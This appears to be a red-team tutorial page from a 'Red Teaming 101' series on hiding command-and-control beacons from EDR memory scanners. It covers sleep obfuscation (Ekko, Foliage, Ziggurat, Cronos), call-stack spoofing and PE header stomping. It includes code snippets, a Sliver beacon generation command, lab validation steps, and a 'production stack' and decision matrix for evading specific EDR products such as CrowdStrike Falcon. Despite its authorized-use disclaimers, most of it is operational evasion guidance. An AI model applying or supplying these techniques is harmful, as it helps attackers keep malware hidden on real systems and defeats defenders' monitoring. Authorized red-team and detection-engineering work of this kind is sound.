sleep-stack-evasion
04 — Sleep Stack Evasion
BLUF: Between beacon check-ins, your shellcode sits idle in memory — and modern EDRs like CrowdStrike Falcon and MDE scan memory continuously, not just at execution time. Sleep obfuscation encrypts the beacon's own memory region while it sleeps so memory scanners find ciphertext, not shellcode. Stack spoofing replaces the suspicious call stack frames that would betray where in memory the beacon lives. Together they close the two primary in-memory detection windows that survive even perfect injection and syscall evasion.
Sections
- The Memory Scanner Problem · 2. Sleep Obfuscation — Mechanisms · 3. Ekko (ROP-based) · 4. Foliage (APC-based) · 5. Ziggurat (combined) · 6. Cronos (timer-based) · 7. Stack Spoofing — Mechanisms · 8. SilentMoonwalk · 9. CallStackMasker · 10. PE Header Stomping · 11. Lab Validation · 12. Quick-Reference Cheat Sheet
Authorized use only: Use these notes only in owned, explicitly authorized, or isolated lab environments.
Detection awareness: Assume commands, binaries, network calls, identity changes, and cloud or directory actions may be logged by endpoint tooling, audit frameworks, SIEM pipelines, proxy logs, DNS logs, auth logs, and platform telemetry.
Blue-team view: Treat every technique as a defender validation exercise too: note what artifacts it creates, what alerts or hunts could surface it, and what monitoring or hardening would prevent or contain it.
CTF/lab boundary: If a sandbox or CTF includes bypass-oriented exercises, keep them confined to that environment and translate the lesson into detection, prevention, and cleanup notes rather than real-world evasion guidance.
graph TB
Idle([Beacon Sleeping]) --> MemScan[EDR Memory Scanner]
MemScan --> |finds shellcode| Alert1[ALERT: Suspicious Memory]
MemScan --> |finds call stack frame in shellcode region| Alert2[ALERT: Suspicious Thread]
SleepObf[Sleep Obfuscation] --> |encrypts beacon memory before sleep| MemScan2[EDR Memory Scanner]
MemScan2 --> |sees ciphertext| NoAlert1[No Signal]
StackSpoof[Stack Spoofing] --> |replaces shellcode frames| MemScan3[EDR Thread Inspection]
MemScan3 --> |sees ntdll/kernel32 frames| NoAlert2[No Signal]
style Alert1 fill:#cc0000,color:#ffffff
style Alert2 fill:#cc0000,color:#ffffff
style NoAlert1 fill:#006600,color:#ffffff
style NoAlert2 fill:#006600,color:#ffffffMITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Where Used |
|---|---|---|---|
| T1497.003 | Time Based Evasion | Defense Evasion | Sleep obfuscation timing |
| T1055 | Process Injection | Defense Evasion | Shellcode lives in injected process |
| T1027 | Obfuscated Files or Information | Defense Evasion | PE header stomping in-memory to evade scanners |
| T1620 | Reflective Code Loading | Defense Evasion | Reflective DLL + post-load header stomp |
| T1036 | Masquerading | Defense Evasion | Call stack masquerading as ntdll threads |
Section 1 — The Memory Scanner Problem
Modern EDRs run memory scanning on two schedules:
- At execution triggers — new thread, APC queued, DLL loaded
- Periodic background scans — continuously, usually every 30–120 seconds
Even if your injection is flawless — indirect syscalls, no suspicious API sequences — the idle beacon in memory is a static artifact that scanners hunt:
| What the Scanner Finds | Why It's Detected |
|---|---|
MZ/PE headers in [MEM_PRIVATE] pages | No DLL on disk backs this memory — clear injection indicator |
| Shellcode YARA patterns | Sliver/Cobalt Strike/Havoc have known byte sequences even with obfuscation |
| Reflective loader code | ReflectiveDLL's ReflectiveLoader function has recognizable patterns |
| RWX or RX memory not backed by a mapped file | Normal code lives in [MEM_IMAGE] pages; shellcode sits in [MEM_PRIVATE] |
| Thread call stack pointing into private memory | Legitimate threads have call stacks rooted in ntdll.dll or kernel32.dll |
Tools used by defenders: pe-sieve, Moneta, Hunt-Sleeping-Beacons, CrowdStrike Falcon memory scanner, Elastic Defend memory threat detection.
Section 2 — Sleep Obfuscation: The Core Mechanism
The pattern for all sleep obfuscation techniques is the same:
1. Before sleeping:
a. Encrypt beacon memory region (AES or XOR key known only to beacon)
b. Optionally: change memory protection from RX → RW (no longer executable)
c. Spoof call stack (see Section 7)
2. Sleep for the desired interval
3. On waking:
a. Decrypt beacon memory region
b. Restore memory protection to RX
c. Resume execution from the saved instruction pointer
The challenge: who drives the encrypt-sleep-decrypt cycle? You can't do it from within the beacon (it would be sleeping). The answer is using Windows async mechanisms: ROP gadgets, APC chains, or timer callbacks.
Section 3 — Ekko (ROP-based)
Ekko uses ROP (Return-Oriented Programming) gadgets to drive the encrypt-sleep-decrypt cycle. No new threads are created, no APCs are queued to the beacon thread — the operation runs through the existing Windows timer/APC infrastructure.
Repository: github.com/Cracked5pider/Ekko
How Ekko Works
// Ekko mechanism (simplified):
// 1. Create an event for synchronization
HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
// 2. Set up a ROP chain using RtlCreateTimer
// The timer fires APCs on the thread pool, which:
// a. RtlCaptureContext — save current CPU context
// b. VirtualProtect — change beacon region to RW (not executable)
// c. SystemFunction032 — RC4 encrypt the beacon memory region
// d. WaitForSingleObject — sleep the desired interval
// e. SystemFunction032 — RC4 decrypt the beacon memory region
// f. VirtualProtect — restore RX protection
// g. RtlRestoreContext — resume beacon execution
// 3. The key insight: SystemFunction032 is a legitimate Windows export
// in advapi32.dll that performs RC4 encryption — no custom crypto code needed
// This avoids suspicious memory writes from obvious crypto implementations
HANDLE hTimerQueue = CreateTimerQueue();
// Queue each ROP step as a timer callback with increasing delays
RtlCreateTimer(hTimerQueue, &timer1, RtlCaptureContext_addr, ctx, 0, 0, WT_EXECUTEINTIMERTHREAD);
RtlCreateTimer(hTimerQueue, &timer2, VirtualProtect_addr, args, 100, 0, WT_EXECUTEINTIMERTHREAD);
RtlCreateTimer(hTimerQueue, &timer3, SystemFunction032_addr, &key, 200, 0, WT_EXECUTEINTIMERTHREAD);
// ...
Integrating Ekko with a Sliver Custom Loader
// In your shellcode loader, before calling the beacon entry point,
// patch the beacon's sleep function to call Ekko instead of WinAPI Sleep()
// Step 1: Compile Ekko as a position-independent shellcode (PIC)
// Use the Ekko repo's Makefile: make -> ekko.bin
// Step 2: Inject Ekko before the beacon — load it into the same process
// Ekko intercepts the Sleep() call via inline hook or by wrapping the beacon loop
// Step 3: In Sliver, use an external builder + artifact kit to replace the default
// sleep with an Ekko-patched version:
sliver > generate beacon --os windows --arch amd64 --format shellcode \
--external-builder \
--https C2_IP:443 --seconds 300 --jitter 45
# Then post-process the shellcode with your Ekko wrapper before delivery
OPSEC: Ekko's RC4 key lives in memory during decryption. A memory snapshot at exactly the wrong moment could expose it. For higher assurance, use AES-256 via
BCryptEncryptinstead ofSystemFunction032. Ziggurat (Section 5) implements this.
Section 4 — Foliage (APC-based)
Foliage achieves sleep obfuscation using Asynchronous Procedure Calls (APCs) instead of ROP chains. Conceptually simpler, slightly noisier.
Repository: github.com/SecIdiot/FOLIAGE
// Foliage mechanism:
// 1. Queue APC to encrypt beacon region
QueueUserAPC((PAPCFUNC)VirtualProtect, GetCurrentThread(), /* RW args */);
QueueUserAPC((PAPCFUNC)EncryptBeacon, GetCurrentThread(), (ULONG_PTR)&key);
// 2. Enter alertable sleep (APCs execute during alertable wait)
SleepEx(sleepInterval, TRUE); // TRUE = alertable — APCs execute here
// 3. APCs queued to decrypt fire when beacon wakes
QueueUserAPC((PAPCFUNC)DecryptBeacon, GetCurrentThread(), (ULONG_PTR)&key);
QueueUserAPC((PAPCFUNC)VirtualProtect, GetCurrentThread(), /* RX args */);
SleepEx(0, TRUE); // Flush decrypt APCs
Foliage vs Ekko:
| Ekko | Foliage | |
|---|---|---|
| Mechanism | ROP chains via timer queue | APC chains |
| Complexity | Higher | Lower |
| Stealth vs. APC monitors | Better (no QueueUserAPC on beacon thread) | Weaker — QueueUserAPC visible |
| Compatibility | Sliver, Cobalt Strike, custom | Cobalt Strike (UDRL), custom |
| Recommended for | CrowdStrike Falcon | Lower-tier EDRs |
Section 5 — Ziggurat (Combined — Recommended)
Ziggurat combines sleep obfuscation + stack spoofing + AES encryption in a single, cohesive implementation. It is the current highest-assurance approach for mature EDR environments.
Repository: github.com/0xEr3bus/Ziggurat
// Ziggurat implements:
// 1. AES-256 encryption of beacon memory region (not RC4)
// 2. Stack spoofing via synthetic call frames (before sleep)
// 3. Memory protection cycling (RX → RW during sleep → RX on wake)
// 4. Compatible with Cobalt Strike UDRL and custom loaders
// Integration with Cobalt Strike:
// - Use as a Sleep Mask replacement (Cobalt Strike 4.5+)
// - Copy Ziggurat's sleep mask files to your artifact kit
// - In Malleable profile: set sleep_mask "true";
// Integration with custom loaders:
// - Call Ziggurat's ZigguratSleep() instead of Sleep()
// - It handles encryption, stack spoofing, and wake-up internally
Section 6 — Cronos (Timer-based, No Threads)
Cronos avoids both ROP chains and APCs. It uses Windows Timer Queue timers to drive the encrypt/sleep/decrypt cycle, with no APC queuing on the beacon thread.
Repository: github.com/Idov31/Cronos
// Cronos advantage: no APC-on-beacon-thread activity
// No QueueUserAPC calls visible to EDR APC monitoring
// Mechanism:
// 1. CreateTimerQueueTimer → fires callback to encrypt + VirtualProtect(RW)
// 2. Second timer fires to VirtualProtect(RX) + decrypt + signal event
// 3. Beacon waits on the event using WaitForSingleObject (not SleepEx — not alertable)
// The beacon's thread shows WaitForSingleObject in the call stack
// during sleep — which looks like any normal synchronization operation
Section 7 — Stack Spoofing: The Core Mechanism
When an EDR inspects a sleeping thread, it walks the call stack. A legitimate thread sleeping looks like:
ntdll.dll!ZwWaitForSingleObject+0x14
kernel32.dll!WaitForSingleObjectEx+0x8f
kernel32.dll!WaitForSingleObject+0x12
YourApp.exe!main+0x3c
kernel32.dll!BaseThreadInitThunk+0x10
ntdll.dll!RtlUserThreadStart+0x2b
A beacon thread sleeping without stack spoofing looks like:
ntdll.dll!ZwWaitForSingleObject+0x14
kernel32.dll!WaitForSingleObjectEx+0x8f
0x1a3f00000000+0x4a3 <-- UNBACKED MEMORY — FLAGGED
0x1a3f00000000+0x890 <-- UNBACKED MEMORY — FLAGGED
Stack spoofing replaces those unbacked frames with realistic ntdll/kernel32 frames before the thread enters its wait state.
Section 8 — SilentMoonwalk
SilentMoonwalk is the most sophisticated stack spoofer available. Instead of simply overwriting return addresses, it walks the RUNTIME_FUNCTION unwind data of ntdll and kernel32 to synthesize a completely plausible call chain.
Repository: github.com/klezVirus/SilentMoonwalk
// SilentMoonwalk approach:
// 1. Walk the RUNTIME_FUNCTION table of ntdll.dll and kernel32.dll
// to understand the valid call stack shapes
// 2. Select a plausible "sleeping thread" profile:
// e.g., a worker thread waiting in NtWaitForWorkViaWorkerFactory
// 3. Synthesize RSP, RBP, and return address values that exactly match
// the expected unwind state for that profile
// 4. Set these values on the beacon thread's stack before entering wait
// Usage with Cobalt Strike (UDRL/BOF):
// beacon> inline-execute SilentMoonwalk.o
// Patches the sleep mask to use SilentMoonwalk's stack synthesis
// Compatible profiles (choose based on injection target):
// - "Worker Thread" (svchost.exe worker threads)
// - "COM Thread" (dllhost.exe COM threads)
// - "Network Thread" (iexplore.exe / Edge background workers)
Section 9 — CallStackMasker
Simpler than SilentMoonwalk. Overwrites return addresses on the existing stack rather than synthesizing a new one. Faster to integrate, effective against most EDRs that don't do deep unwind validation.
Repository: github.com/mgeeky/CallStackMasker
// CallStackMasker integration:
// 1. Before sleeping: call MaskCallStack()
// - Saves real return addresses
// - Overwrites them with addresses from ntdll/kernel32
// - Stored on heap for restoration
MaskCallStack();
Sleep(interval); // or SleepEx / WaitForSingleObject
// 2. After waking: call UnmaskCallStack()
// - Restores real return addresses
// - Beacon resumes normally
UnmaskCallStack();
// Limitation: does NOT fix unwind data.
// Under deep inspection (WinDbg !thread or CrowdStrike Falcon's advanced heuristics),
// the synthesized frames may not unwind correctly.
// Use SilentMoonwalk for environments with aggressive call stack validation.
Section 10 — PE Header Stomping
After reflective injection, the beacon's PE headers (MZ, PE, section table) remain in memory. Memory scanners specifically look for MZ bytes in non-image-mapped memory.
// Stomp PE headers immediately after the reflective loader finishes:
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)baseAddress;
PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)((PBYTE)baseAddress + pDosHdr->e_lfanew);
// Calculate header size
DWORD headerSize = pNtHdr->OptionalHeader.SizeOfHeaders;
// Make headers writable
DWORD oldProtect;
VirtualProtect(baseAddress, headerSize, PAGE_READWRITE, &oldProtect);
// Overwrite with zeros (or random bytes for better entropy blending)
SecureZeroMemory(baseAddress, headerSize);
// Restore protection
VirtualProtect(baseAddress, headerSize, oldProtect, &oldProtect);
// After stomping: pe-sieve and Moneta will no longer find MZ/PE headers
// The beacon continues to execute normally — headers are only needed at load time
OPSEC: Stomp headers BEFORE enabling sleep obfuscation. The encrypt-decrypt cycle operates on the full beacon region including headers. If you stomp after setting up Ekko/Ziggurat, the decrypted region will look correct but the stomp happens too late to matter on first scan.
Section 11 — Lab Validation Procedure
Goal: Confirm memory scanner cannot find the beacon during sleep window.
Setup
Target VM: Windows 11 22H2 + CrowdStrike Falcon free trial or Elastic Defend
Tools on target VM: pe-sieve64.exe, Moneta64.exe, Hunt-Sleeping-Beacons.exe
Attacker VM: Sliver / Havoc C2 with custom loader using Ekko + stack spoofing
Test 1 — Baseline (no sleep obfuscation)
# Inject beacon (no sleep obf)
# Wait for beacon to enter sleep
# On target VM, as administrator:
.\pe-sieve64.exe /pid <beacon_pid> /shellc 1 /imp 3
# Expected: FOUND — shellcode detected in private memory
.\Moneta64.exe --pid <beacon_pid>
# Expected: RX private memory region flagged
Get-Process | Where-Object { $_.Id -eq <beacon_pid> } | Format-List *
# Note the beacon process name
Test 2 — With Sleep Obfuscation (Ekko)
# Inject beacon with Ekko-enabled loader
# Wait for beacon to enter sleep (verify via C2 — no tasking response)
.\pe-sieve64.exe /pid <beacon_pid> /shellc 1 /imp 3
# Expected: NOTHING FOUND — memory is encrypted ciphertext
.\Moneta64.exe --pid <beacon_pid>
# Expected: Memory region may still appear but no recognizable patterns
.\Hunt-Sleeping-Beacons.exe
# Expected: Beacon not listed OR listed with no active sleep hooks found
Test 3 — Call Stack Validation
# During sleep, attach WinDbg to the beacon process:
windbg -p <beacon_pid>
# In WinDbg:
~*k # Show all thread call stacks
# Without stack spoofing: one thread shows unbacked frames
# With SilentMoonwalk/Ziggurat: all threads show clean ntdll/kernel32 frames
Test 4 — EDR Console Check
After running Tests 1–3:
Check CrowdStrike Falcon console / Elastic SIEM for any alerts
Compare baseline alerts vs. evasion alerts
Success criteria:
- 0 "Suspicious Memory" alerts during sleep window
- 0 "Suspicious Thread" alerts
- Beacon still responds to tasking after waking up
Section 12 — Quick-Reference Cheat Sheet
# Tool Summary
# Ekko — ROP-based sleep obf + RC4 encrypt github.com/Cracked5pider/Ekko
# Foliage — APC-based sleep obf github.com/SecIdiot/FOLIAGE
# Ziggurat — AES sleep obf + stack spoof (best) github.com/0xEr3bus/Ziggurat
# Cronos — Timer-based, no APC on beacon thread github.com/Idov31/Cronos
# SilentMoonwalk — Synthetic stack via unwind data github.com/klezVirus/SilentMoonwalk
# CallStackMasker — Simple return addr overwrite github.com/mgeeky/CallStackMasker
# pe-sieve — Lab memory scanner (defender tool) github.com/hasherezade/pe-sieve
# Moneta — Hunting unbacked memory regions github.com/forrest-orr/Moneta
# Hunt-Sleeping-Beacons — Timer/APC beacon hunt github.com/thefLink/Hunt-Sleeping-Beacons
# Recommended production stack (CrowdStrike Falcon environment):
# 1. Indirect syscalls (SysWhispers3) for injection
# 2. PE header stomp immediately post-load
# 3. Ziggurat for sleep obfuscation + stack spoofing
# 4. Inject into svchost.exe -k netsvcs (network-connected, long-lived)
# Recommended production stack (lighter EDR / MDE):
# 1. Direct syscalls (SysWhispers2) sufficient
# 2. Ekko for sleep obfuscation
# 3. CallStackMasker for stack cleanup
# 4. PE header stomp
Decision Matrix:
| EDR Product | Min Required Sleep Obf | Min Required Stack Spoof |
|---|---|---|
| Windows Defender (basic) | Ekko | CallStackMasker |
| MDE (E5/Defender for Endpoint) | Ekko or Foliage | SilentMoonwalk |
| SentinelOne | Ziggurat | Ziggurat built-in |
| CrowdStrike Falcon (default policy) | Ziggurat | SilentMoonwalk |
| CrowdStrike Falcon (aggressive policy) | Ziggurat + Cronos (no APC) | SilentMoonwalk + unwind validation |
| Elastic Defend | Ekko | CallStackMasker |
Part of the Red Teaming 101 series. Parent: P6 — EDR Bypass & Evasion · See also: Syscall Evasion Deep Dive